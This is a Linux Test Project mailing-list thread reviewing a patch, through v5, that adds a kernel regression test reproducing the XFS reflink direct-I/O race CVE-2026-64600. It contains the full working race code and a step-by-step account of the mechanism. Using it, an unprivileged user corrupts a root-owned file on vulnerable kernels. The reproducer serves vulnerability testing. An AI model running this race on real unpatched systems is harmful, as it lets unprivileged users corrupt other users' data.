Re: [LTP] cve: reproducer for cve-2026-64600

Re: [LTP] cve: reproducer for cve-2026-64600

[linuxtestproject.agent]

Hi Andrea,

On Fri, 24 Jul 2026, Andrea Cervesato wrote:
> cve: reproducer for cve-2026-64600

> diff --git a/testcases/kernel/fs/xfs/Makefile b/testcases/kernel/fs/xfs/Makefile
> new file mode 100644
> +top_srcdir			?= ../../../..
> +
> +include $(top_srcdir)/include/mk/testcases.mk
> +
> +LDLIBS			+= -lpthread
> +
> +include $(top_srcdir)/include/mk/generic_leaf_target.mk

Every existing standalone CVE reproducer named cve-<id>.c
(cve-2014-0196, cve-2016-7042, cve-2025-38236, cve-2026-46331, ...)
already lives under testcases/cve/, whose Makefile builds every
target from a wildcard and already carries per-target LDLIBS/CFLAGS
overrides (e.g. "-pthread" for other threaded reproducers), plus its
own .gitignore.

Is there a reason this one needs a brand-new
testcases/kernel/fs/xfs/ directory instead of adding
"cve-2026-64600: LDLIBS += -lpthread" to the existing
testcases/cve/Makefile?

Separately, this Makefile is also missing the
"SPDX-License-Identifier: GPL-2.0-or-later" + Copyright header that
every leaf Makefile is expected to start with.

> diff --git a/testcases/kernel/fs/xfs/cve-2026-64600.c b/testcases/kernel/fs/xfs/cve-2026-64600.c
> +	.filesystems = (struct tst_fs []) {
> +		{.type = "xfs"},
> +		{}
> +	},

testcases/kernel/syscalls/ioctl/ioctl_ficlone03.c's xfs entry sets
.min_kver = "4.16", .mkfs_ver = "mkfs.xfs >= 1.5.0" and .mkfs_opts =
{"-m", "reflink=1", NULL}, since reflink is only guaranteed once the
xfsprogs version/format enables it. Here the xfs entry has none of
that. On a system where mkfs.xfs does not default to reflink=1,
would setup() just TCONF through the EOPNOTSUPP/EINVAL/ENOSYS branch
instead of exercising the race, or is the plain default considered
reliable enough these days?

Verdict - Needs revision

---
Note:

The agent can sometimes produce false positives although often its
findings are genuine. If you find issues with the review, please
comment this email or ignore the suggestions.

Regards,
LTP AI Reviewer

-- 
Mailing list info: https://lists.linux.it/listinfo/ltp

Re: [LTP] cve: reproducer for cve-2026-64600

[Cyril Hrubis]

Hi!
> > diff --git a/testcases/kernel/fs/xfs/Makefile b/testcases/kernel/fs/xfs/Makefile
> > new file mode 100644
> > +top_srcdir			?= ../../../..
> > +
> > +include $(top_srcdir)/include/mk/testcases.mk
> > +
> > +LDLIBS			+= -lpthread
> > +
> > +include $(top_srcdir)/include/mk/generic_leaf_target.mk
> 
> Every existing standalone CVE reproducer named cve-<id>.c
> (cve-2014-0196, cve-2016-7042, cve-2025-38236, cve-2026-46331, ...)
> already lives under testcases/cve/, whose Makefile builds every
> target from a wildcard and already carries per-target LDLIBS/CFLAGS
> overrides (e.g. "-pthread" for other threaded reproducers), plus its
> own .gitignore.
> 
> Is there a reason this one needs a brand-new
> testcases/kernel/fs/xfs/ directory instead of adding
> "cve-2026-64600: LDLIBS += -lpthread" to the existing
> testcases/cve/Makefile?

I would say that the file should be called reflux-xfs.c instead. I would
like to avoid the filenames with cve and numbers since they are hard
easy to confuse with each other.

-- 
Cyril Hrubis
chrubis@suse.cz

-- 
Mailing list info: https://lists.linux.it/listinfo/ltp

Re: [LTP] cve: reproducer for cve-2026-64600

[Andrea Cervesato via ltp]

Hi Cyril,

> I would say that the file should be called reflux-xfs.c instead. I would
> like to avoid the filenames with cve and numbers since they are hard
> easy to confuse with each other.

that's ok. should I move it under cve/ folder instead? Maybe having a
xfs/ directory is a bit an overkill.

--
Andrea Cervesato
SUSE QE Automation Engineer Linux
andrea.cervesato@suse.com

-- 
Mailing list info: https://lists.linux.it/listinfo/ltp

Re: [LTP] cve: reproducer for cve-2026-64600

[Cyril Hrubis]

Hi!
> > I would say that the file should be called reflux-xfs.c instead. I would
> > like to avoid the filenames with cve and numbers since they are hard
> > easy to confuse with each other.
> 
> that's ok. should I move it under cve/ folder instead? Maybe having a
> xfs/ directory is a bit an overkill.

That would work as well, we have a couple of named CVEs in there too.

-- 
Cyril Hrubis
chrubis@suse.cz

-- 
Mailing list info: https://lists.linux.it/listinfo/ltp

Re: [LTP] cve: reproducer for cve-2026-64600

[linuxtestproject.agent]

Hi Andrea,

On 2026-07-24, Andrea Cervesato wrote:
> cve: reproducer for cve-2026-64600

> +static void cleanup(void)
> +{
> +	stop_pressure_threads();
> +
> +	if (barrier_initialized)
> +		SAFE_PTHREAD_BARRIER_DESTROY(&barrier);
> +
> +	if (target_dio_fd != -1)
> +		SAFE_CLOSE(target_dio_fd);
> +
> +	if (target_fd != -1)
> +		SAFE_CLOSE(target_fd);
> +
> +	if (clone_fd != -1)
> +		SAFE_CLOSE(clone_fd);
> +
> +	free(tbuf);
> +	free(wbuf);
> +	free(rbuf);
> +}

The header comment says "Root privilege is regained in cleanup() so
the library can unmount the loop device", but cleanup() never calls
SAFE_SETEUID(0)/SAFE_SETEGID(0). setup() drops to "nobody" via
drop_privileges() and nothing restores euid/egid afterwards.

Other tests that drop privileges the same way restore them in
cleanup(), e.g. chmod06.c, acct01.c, creat06.c all call
SAFE_SETEUID(0) there. Per capabilities(7), effective capabilities are
cleared once euid moves away from 0, so the process is still
unprivileged when cleanup() returns. The library's subsequent unmount
of the loop device would then fail with EPERM, leaving the mount and
loop device attached.

Is a SAFE_SETEUID(0) (and SAFE_SETEGID(0)) call missing at the start
of cleanup()?

Verdict - Needs revision

---
Note:

The agent can sometimes produce false positives although often its
findings are genuine. If you find issues with the review, please
comment this email or ignore the suggestions.

Regards,
LTP AI Reviewer

-- 
Mailing list info: https://lists.linux.it/listinfo/ltp

Re: [LTP] cve: reproducer for cve-2026-64600

[linuxtestproject.agent]

Hi Andrea,

On Fri, 31 Jul 2026, Andrea Cervesato wrote:
> cve: reproducer for cve-2026-64600

> 	while (!stop_pressure) {
> 		SAFE_PWRITE(1, fd, wbuf, blksize, 0);
> 		SAFE_FTRUNCATE(fd, 0);
> 		SAFE_FSYNC(fd);
> 	}

Could the write be synced before the truncate? The truncate can discard the
dirty page and delayed allocation before writeback, so fsync() only persists
the empty file. This also differs from the documented
write/fdatasync/truncate sequence and may leave the XFS log without the
allocation pressure needed to widen the vulnerable window, causing false
passes on affected kernels.

Verdict - Needs revision

---
Note:

The agent can sometimes produce false positives although often its
findings are genuine. If you find issues with the review, please
comment this email or ignore the suggestions.

Regards,
LTP AI Reviewer

-- 
Mailing list info: https://lists.linux.it/listinfo/ltp

Re: [LTP] cve: reproducer for cve-2026-64600

[linuxtestproject.agent]

Hi Andrea,

On July 31, 2026, Andrea Cervesato wrote:
> cve: reproducer for cve-2026-64600

Verdict - Reviewed

---
Note:

The agent can sometimes produce false positives although often its
findings are genuine. If you find issues with the review, please
comment this email or ignore the suggestions.

Regards,
LTP AI Reviewer

-- 
Mailing list info: https://lists.linux.it/listinfo/ltp

[LTP] [PATCH v5] cve: reproducer for cve-2026-64600

[Andrea Cervesato]

From: Andrea Cervesato <andrea.cervesato@suse.com>

Reproducer for CVE-2026-64600 ("RefluXFS"), a race condition in the XFS
reflink copy-on-write path for direct I/O writes. The bug was introduced
in kernel v4.11 by commit 3c68d44a2b49 ("xfs: allocate direct I/O COW
blocks in iomap_begin") and fixed by commit 2f4acd0fcd86 ("xfs: resample
the data fork mapping after cycling ILOCK").

Reviewed-by: Martin Doucha <mdoucha@suse.cz>
Signed-off-by: Andrea Cervesato <andrea.cervesato@suse.com>
---
This reproducer has been created with the usage of Kimi K3 (as analyzer
and writer) and DeepSeek v4 Flash (Max) as reviewer, by taking the
RefluXFS technical paper as input:
https://cdn2.qualys.com/advisory/2026/07/22/RefluXFS.txt

On bugged kernel:

tst_test.c:2047: TINFO: LTP version: 20260529-131-gd12a6186b
tst_test.c:2050: TINFO: Tested kernel: 7.2.0-rc1-virtme #21 SMP PREEMPT_DYNAMIC Fri Jul 24 10:20:05 CEST 2026 x86_64
tst_kconfig.c:90: TINFO: Parsing kernel config '/lib/modules/7.2.0-rc1-virtme/build/.config'
tst_test.c:1875: TINFO: Overall timeout per run is 0h 00m 30s
cve-2026-64600.c:233: TFAIL: round 0: racing O_DIRECT write to the clone succeeded
[    1.252815] cve-2026-646
HINT: You _MAY_ be missing kernel fixes:

https://git.kernel.org/pub/scm/linux/kernel/git/torvalds/linux.git/commit/?id=2f4acd0fcd86

HINT: You _MAY_ be vulnerable to CVE(s):

https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-64600

Summary:
passed   0
failed   1
broken   0
skipped  0
warnings 0

On patched kernel:

tst_test.c:2047: TINFO: LTP version: 20260529-131-gd12a6186b
tst_test.c:2050: TINFO: Tested kernel: 7.2.0-rc1-virtme #20 SMP PREEMPT_DYNAMIC Fri Jul 24 10:08:53 CEST 2026 x86_64
tst_kconfig.c:90: TINFO: Parsing kernel config '/lib/modules/7.2.0-rc1-virtme/build/.config'
tst_test.c:1875: TINFO: Overall timeout per run is 0h 00m 30s
[    1.665909] clocksource: Watchdog remote CPU 2 read timed out
[    8.099229] cve-2026-64600 (249) used greatest stack depth: 12216 bytes left
cve-2026-64600.c:242: TPASS: Source file survived racing O_DIRECT writers

Summary:
passed   1
failed   0
broken   0
skipped  0
warnings 0
---
Changes in v5:
- fix description
- remove unused variable
- fix build in opensuse/42.2
- Link to v4: https://lore.kernel.org/20260731-cve-2026-64600-v4-1-8a222eca3a5d@suse.com

Changes in v4:
- remove pressure thread
- move cve before memory leaking CVEs
- Link to v3: https://lore.kernel.org/20260731-cve-2026-64600-v3-1-192da4ddf707@suse.com

Changes in v3:
- use fuzzy loop
- get blksize from stat()
- remove cleanup sentence in the description
- Link to v2: https://lore.kernel.org/20260724-cve-2026-64600-v2-1-c039960448f6@suse.com

Changes in v2:
- rename refluxfs.c
- ensure reflink=1 for mkfs.xfs
- remove root restore
- Link to v1: https://lore.kernel.org/20260724-cve-2026-64600-v1-1-8fa214385d2e@suse.com
---
 runtest/cve              |   1 +
 testcases/cve/.gitignore |   1 +
 testcases/cve/Makefile   |   2 +-
 testcases/cve/refluxfs.c | 227 +++++++++++++++++++++++++++++++++++++++++++++++
 4 files changed, 230 insertions(+), 1 deletion(-)

diff --git a/runtest/cve b/runtest/cve
index 99d84270b6efc9afae5bd27adee704603c3092f7..426b203e9ce25992386923c5543e33256caf5d03 100644
--- a/runtest/cve
+++ b/runtest/cve
@@ -89,6 +89,7 @@ cve-2023-0461 setsockopt10
 cve-2023-31248 nft02
 cve-2023-52879 fanotify25
 cve-2026-53362 setsockopt11
+cve-2026-64600 refluxfs
 # Tests below may cause kernel memory leak
 cve-2020-25704 perf_event_open03
 cve-2022-0185 fsconfig03
diff --git a/testcases/cve/.gitignore b/testcases/cve/.gitignore
index bc1af0dd2c8086e4f5f78a3b15b91fafbd8f5936..5aa038cd5871424967035b39bd3945a038ad13b8 100644
--- a/testcases/cve/.gitignore
+++ b/testcases/cve/.gitignore
@@ -16,3 +16,4 @@ tcindex01
 cve-2025-38236
 cve-2025-21756
 cve-2026-46331
+refluxfs
diff --git a/testcases/cve/Makefile b/testcases/cve/Makefile
index 98c38e90801a21eedad986273d537b16f3e4eb91..6be4999a3ea256cf48520c877400dfca19461177 100644
--- a/testcases/cve/Makefile
+++ b/testcases/cve/Makefile
@@ -11,7 +11,7 @@ stack_clash:	CFLAGS += -fno-optimize-sibling-calls -Wno-infinite-recursion
 
 cve-2016-7042:	LDLIBS += $(KEYUTILS_LIBS)
 
-cve-2014-0196 cve-2016-7117 cve-2017-2671 cve-2017-17052 cve-2017-17053:  CFLAGS += -pthread
+cve-2014-0196 cve-2016-7117 cve-2017-2671 cve-2017-17052 cve-2017-17053 refluxfs:  CFLAGS += -pthread
 cve-2014-0196 cve-2016-7117 cve-2017-2671:  LDLIBS += -lrt
 
 ifneq ($(ANDROID),1)
diff --git a/testcases/cve/refluxfs.c b/testcases/cve/refluxfs.c
new file mode 100644
index 0000000000000000000000000000000000000000..e2ed5a8cba13818384a8ed2590ea4efab1809894
--- /dev/null
+++ b/testcases/cve/refluxfs.c
@@ -0,0 +1,227 @@
+// SPDX-License-Identifier: GPL-2.0-or-later
+/*
+ * Copyright (C) 2026 SUSE LLC Andrea Cervesato <andrea.cervesato@suse.com>
+ */
+
+/*\
+ * Reproducer for CVE-2026-64600 ("RefluXFS"), a race condition in the XFS
+ * reflink copy-on-write path for direct I/O writes. The bug was introduced
+ * in kernel v4.11 by commit 3c68d44a2b49 ("xfs: allocate direct I/O COW
+ * blocks in iomap_begin") and fixed by commit 2f4acd0fcd86 ("xfs: resample
+ * the data fork mapping after cycling ILOCK").
+ *
+ * When an :manpage:`ioctl(2)` FICLONE clone is written via ``O_DIRECT``,
+ * ``xfs_direct_write_iomap_begin()`` samples the clone's data-fork mapping
+ * under ILOCK and calls ``xfs_reflink_allocate_cow()``, which drops the
+ * ILOCK to allocate a transaction and then re-checks whether the *stale*
+ * physical block is still shared. If a second racing ``O_DIRECT`` writer
+ * completes a full copy-on-write cycle inside that lock-drop window, the
+ * old shared block's refcount drops to one, the first writer takes the
+ * "not shared, write in place" branch, and its write is submitted to the
+ * physical block that now belongs only to the reflink source file,
+ * corrupting it on disk.
+ *
+ * [Algorithm]
+ *
+ * - Create a root-owned target file on a reflink-enabled XFS and fill
+ *   its first block with a known pattern
+ * - Drop privileges to the unprivileged user ``nobody``
+ * - Positive control: a single ``O_DIRECT`` write to a fresh clone must
+ *   be copy-on-written and leave the target untouched
+ * - Each round: reflink-clone the target into a scratch clone file, each
+ *   issuing one block-sized ``O_DIRECT`` :manpage:`pwrite(2)` at offset 0
+ *   of the clone
+ * - After each round, read back the target's first block bypassing the
+ *   page cache (``O_DIRECT``): any byte differing from the original
+ *   pattern means a racing write refluxed into the source file and the
+ *   kernel is vulnerable
+ */
+
+#include <pwd.h>
+
+#include "tst_test.h"
+#include "tst_safe_prw.h"
+#include "lapi/ficlone.h"
+#include "tst_fuzzy_sync.h"
+
+#define MNTPOINT	"mnt"
+#define WORKDIR		MNTPOINT "/work"
+#define TARGET		WORKDIR "/target"
+#define CLONE		WORKDIR "/clone"
+
+static char *tbuf, *wbuf, *rbuf;
+
+static int target_fd = -1;
+static int target_dio_fd = -1;
+static int clone_fd = -1;
+
+static int blksize;
+
+static struct tst_fzsync_pair pair;
+
+static void *writer_b(void *arg)
+{
+	int fd;
+
+	(void)arg;
+
+	while (tst_fzsync_run_b(&pair)) {
+		tst_fzsync_wait_b(&pair);
+
+		fd = SAFE_OPEN(CLONE, O_RDWR | O_DIRECT);
+
+		tst_fzsync_start_race_b(&pair);
+		SAFE_PWRITE(1, fd, wbuf, blksize, 0);
+		tst_fzsync_end_race_b(&pair);
+
+		SAFE_CLOSE(fd);
+	}
+
+	return NULL;
+}
+
+static void drop_privileges(void)
+{
+	struct passwd *pw;
+
+	pw = SAFE_GETPWNAM("nobody");
+	SAFE_SETEGID(pw->pw_gid);
+	SAFE_SETEUID(pw->pw_uid);
+}
+
+static void setup(void)
+{
+	int probe_fd, probe_dio_fd;
+	struct stat sb;
+
+	SAFE_STAT(".", &sb);
+	blksize = sb.st_blksize;
+
+	tbuf = SAFE_MEMALIGN(blksize, blksize);
+	wbuf = SAFE_MEMALIGN(blksize, blksize);
+	rbuf = SAFE_MEMALIGN(blksize, blksize);
+
+	memset(tbuf, 'A', blksize);
+	memset(wbuf, 'X', blksize);
+	memset(rbuf, 0, blksize);
+
+	SAFE_MKDIR(WORKDIR, 0700);
+	SAFE_CHMOD(WORKDIR, 0777);
+
+	target_fd = SAFE_OPEN(TARGET, O_RDWR | O_CREAT | O_TRUNC, 0644);
+	SAFE_WRITE(1, target_fd, tbuf, blksize);
+	SAFE_FSYNC(target_fd);
+	SAFE_CLOSE(target_fd);
+
+	drop_privileges();
+
+	target_fd = SAFE_OPEN(TARGET, O_RDONLY);
+	probe_fd = SAFE_OPEN(CLONE, O_RDWR | O_CREAT | O_TRUNC, 0600);
+
+	TEST(ioctl(probe_fd, FICLONE, target_fd));
+	if (TST_RET == -1) {
+		if (TST_ERR == EOPNOTSUPP || TST_ERR == EINVAL || TST_ERR == ENOSYS) {
+			tst_brk(TCONF, "reflink clones not supported: %s",
+				tst_strerrno(TST_ERR));
+		}
+
+		tst_brk(TBROK | TTERRNO, "ioctl(FICLONE) failed");
+	}
+
+	probe_dio_fd = SAFE_OPEN(CLONE, O_RDWR | O_DIRECT);
+	SAFE_PWRITE(1, probe_dio_fd, wbuf, blksize, 0);
+	SAFE_CLOSE(probe_dio_fd);
+	SAFE_CLOSE(probe_fd);
+
+	/* The racy write bypasses the target's page cache, so must the read */
+	target_dio_fd = SAFE_OPEN(TARGET, O_RDONLY | O_DIRECT);
+
+	SAFE_PREAD(1, target_dio_fd, rbuf, blksize, 0);
+	if (memcmp(rbuf, tbuf, blksize))
+		tst_brk(TBROK, "Source file modified by a single O_DIRECT write to the clone");
+
+	tst_fzsync_pair_init(&pair);
+}
+
+static void run(void)
+{
+	int corrupted = 0;
+
+	tst_fzsync_pair_reset(&pair, writer_b);
+
+	while (tst_fzsync_run_a(&pair)) {
+		clone_fd = SAFE_OPEN(CLONE, O_RDWR | O_CREAT | O_TRUNC, 0600);
+
+		/*
+		 * target_fd is O_RDONLY opened as "nobody".  FICLONE
+		 * checks inode permission against our effective UID.
+		 */
+		SAFE_IOCTL(clone_fd, FICLONE, target_fd);
+		SAFE_CLOSE(clone_fd);
+
+		clone_fd = SAFE_OPEN(CLONE, O_RDWR | O_DIRECT);
+
+		tst_fzsync_wait_a(&pair);
+
+		tst_fzsync_start_race_a(&pair);
+		SAFE_PWRITE(1, clone_fd, wbuf, blksize, 0);
+		tst_fzsync_end_race_a(&pair);
+
+		SAFE_PREAD(1, target_dio_fd, rbuf, blksize, 0);
+		SAFE_CLOSE(clone_fd);
+
+		if (memcmp(rbuf, tbuf, blksize)) {
+			tst_res(TFAIL, "racing O_DIRECT write to the clone succeeded at loop %d", pair.exec_loop);
+			corrupted = 1;
+			break;
+		}
+	}
+
+	if (!corrupted)
+		tst_res(TPASS, "Source file survived racing O_DIRECT writers");
+}
+
+static void cleanup(void)
+{
+	tst_fzsync_pair_cleanup(&pair);
+
+	if (target_dio_fd != -1)
+		SAFE_CLOSE(target_dio_fd);
+
+	if (target_fd != -1)
+		SAFE_CLOSE(target_fd);
+
+	if (clone_fd != -1)
+		SAFE_CLOSE(clone_fd);
+
+	free(tbuf);
+	free(wbuf);
+	free(rbuf);
+}
+
+static struct tst_test test = {
+	.test_all = run,
+	.setup = setup,
+	.cleanup = cleanup,
+	.runtime = 180,
+	.needs_root = 1,
+	.mount_device = 1,
+	.mntpoint = MNTPOINT,
+	.filesystems = (struct tst_fs []) {
+		{
+			.type = "xfs",
+			.min_kver = "4.16",
+			.mkfs_ver = "mkfs.xfs >= 1.5.0",
+			.mkfs_opts = (const char *const []) {
+				"-m", "reflink=1",
+				NULL
+			},
+		},
+		{}
+	},
+	.tags = (const struct tst_tag[]) {
+		{"linux-git", "2f4acd0fcd86"},
+		{"CVE", "2026-64600"},
+		{}
+	},
+};

---
base-commit: 6891f922f21a56238d3225c9a83e08f4f7c1765b
change-id: 20260724-cve-2026-64600-53fd6d627d63

Best regards,
-- 
Andrea Cervesato <andrea.cervesato@suse.com>


-- 
Mailing list info: https://lists.linux.it/listinfo/ltp

Re: [LTP] cve: reproducer for cve-2026-64600

[linuxtestproject.agent]

Hi Andrea,

On Sat, 1 Aug 2026, Andrea Cervesato wrote:
> cve: reproducer for cve-2026-64600

Verdict - Reviewed

---
Note:

The agent can sometimes produce false positives although often its
findings are genuine. If you find issues with the review, please
comment this email or ignore the suggestions.

Regards,
LTP AI Reviewer

-- 
Mailing list info: https://lists.linux.it/listinfo/ltp